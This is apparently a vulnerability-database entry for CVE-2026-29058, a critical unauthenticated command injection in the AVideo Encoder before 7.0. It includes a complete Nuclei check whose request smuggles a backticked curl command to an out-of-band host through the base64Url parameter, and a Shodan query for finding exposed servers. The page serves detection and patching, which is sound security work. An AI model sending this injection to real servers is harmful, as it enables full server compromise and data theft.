Browse / CVEs / CVE-2026-29058
CVE-2026-29058· wwbn / avideo· CWE-78
WWBN AVideo Encoder < 7.0 - Unauthenticated OS Command Injection
criticalseverity
9.8CVSS score
8.9%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
AVideo < 7.0 contains a command injection caused by shell command substitution in the base64Url GET parameter, letting unauthenticated attackers execute arbitrary OS commands, exploit requires no authentication.
Impact
Unauthenticated attackers can execute arbitrary OS commands, leading to full server compromise, data exfiltration, and service disruption.
Fix
Upgrade to version 7.0 or later.
How to confirm it
Send: GET /Encoder/objects/getImage.php?base64Url={{base64(oast)}}&format=png
Positive when: contains in interactsh_protocol "dns" AND status 200Run it with nuclei: nuclei -id CVE-2026-29058 -u <target>
The full check
id: CVE-2026-29058
info:
name: WWBN AVideo Encoder < 7.0 - Unauthenticated OS Command Injection
author: ashish-cybersec
severity: critical
description: |
AVideo < 7.0 contains a command injection caused by shell command substitution in the base64Url GET parameter, letting unauthenticated attackers execute arbitrary OS commands, exploit requires no authentication.
impact: |
Unauthenticated attackers can execute arbitrary OS commands, leading to full server compromise, data exfiltration, and service disruption.
remediation: |
Upgrade to version 7.0 or later.
reference:
- https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-9j26-99jh-v26q
- https://nvd.nist.gov/vuln/detail/CVE-2026-29058
- https://github.com/WWBN/AVideo-Encoder
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-29058
epss-score: 0.0894
epss-percentile: 0.95285
cwe-id: CWE-78
metadata:
verified: true
max-request: 1
vendor: wwbn
product: avideo
shodan-query: http.html:"AVideo"
tags: cve,cve2026,avideo,encoder,rce,oast,unauth,intrusive,vkev
variables:
oast: "http://{{rand_text_alpha(6)}}.example/`curl${IFS}{{interactsh-url}}`"
http:
- raw:
- |
GET /Encoder/objects/getImage.php?base64Url={{base64(oast)}}&format=png HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200References
- https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-9j26-99jh-v26q
- https://nvd.nist.gov/vuln/detail/CVE-2026-29058
- https://github.com/WWBN/AVideo-Encoder
Use this check only on systems you are authorised to test. Where the data comes from